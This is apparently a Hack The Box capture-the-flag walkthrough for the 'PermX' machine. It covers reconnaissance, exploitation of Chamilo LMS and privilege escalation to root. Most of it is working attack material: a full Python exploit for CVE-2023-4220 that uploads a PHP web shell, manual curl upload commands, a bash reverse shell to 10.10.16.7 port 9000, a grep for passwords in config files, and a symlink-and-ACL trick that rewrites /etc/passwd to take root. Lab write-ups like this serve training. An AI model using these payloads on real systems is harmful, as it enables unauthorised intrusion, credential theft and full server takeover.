PermX - Hack The Box

Reconnaissance

  • Nmap
nmap -sS --open -p- --min-rate 5000 -vvv -n -Pn 10.10.11.23

  • Add domain to local DNS
echo "10.10.11.23 permx.htb" >> /etc/hosts
  • Wfuzz to find subdomains
wfuzz -c -t 50 --hc=302 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.permx.htb" http://permx.htb/

  • Add domains to local DNS
echo "10.10.11.23 www.permx.htb lms.permx.htb" >> /etc/hosts
  • Whatweb
whatweb http://lms.permx.htb/

Exploitation

  • Chamilo Unauthenticated Command Injection (CVE-2023-4220)
import requests
import argparse
from urllib.parse import urljoin

def upload_shell(target_url, payload_name):
    upload_url = urljoin(target_url, "main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported")
    shell_path = f"/main/inc/lib/javascript/bigupload/files/{payload_name}"
    shell_url = urljoin(target_url, shell_path)
    
    # Payload containing the PHP web shell
    files = {'bigUploadFile': (payload_name, '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
    
    # Upload the payload
    response = requests.post(upload_url, files=files)
    
    if response.status_code == 200:
        print("[+] File uploaded successfully!")
        print(f"[+] Access the shell at: {shell_url}?cmd=")
    else:
        print("[-] File upload failed.")

def execute_command(shell_url, cmd):
    # Execute the command
    response = requests.get(f"{shell_url}?cmd={cmd}")
    if response.status_code == 200:
        print(f"[+] Command Output:\n{response.text}")
    else:
        print(f"[-] Failed to execute command at {shell_url}")

if __name__ == "__main__":
    # Parse command-line arguments
    parser = argparse.ArgumentParser(description="CVE-2023-4220 Chamilo LMS Unauthenticated File Upload RCE Exploit")
    parser.add_argument('target_url', help="The target base URL of the Chamilo LMS instance (e.g., http://example.com/)")
    parser.add_argument('cmd', help="The command to execute on the remote server")
    parser.add_argument('--shell', default='rce.php', help="The name of the shell file to be uploaded (default: rce.php)")
    
    args = parser.parse_args()

    # Run the exploit with the provided arguments
    upload_shell(args.target_url, args.shell)
    
    # Form the shell URL to execute commands
    shell_url = urljoin(args.target_url, f"main/inc/lib/javascript/bigupload/files/{args.shell}")
    execute_command(shell_url, args.cmd)
python3 exploit.py http://lms.permx.htb/ id

  • Manual explotation
echo '<?php system("id"); ?>' > rce.php
curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'

  • Send reverse shell
echo "<?php system(\"bash -c 'bash -i >& /dev/tcp/10.10.16.7/9000 0>&1'\"); ?>" > rce.php
curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php'
nc -nlvp 9000

Post-exploitation

  • Find leaked credentials
cd /var/www/chamilo/app/config
cat * | grep password -C 2

  • Pivoting
su mtz
  • Check sudoers
sudo -l

  • Check bash file

We only can change ACL perms in /home/mtz directory, without path traversal “..”

  • Create sym link and change ACL perms
ln -s /etc/passwd etcpasswd
sudo /opt/acl.sh mtz rwx /home/mtz/etcpasswd
  • Change root password in /etc/passwd
openssl passwd -1 root

su root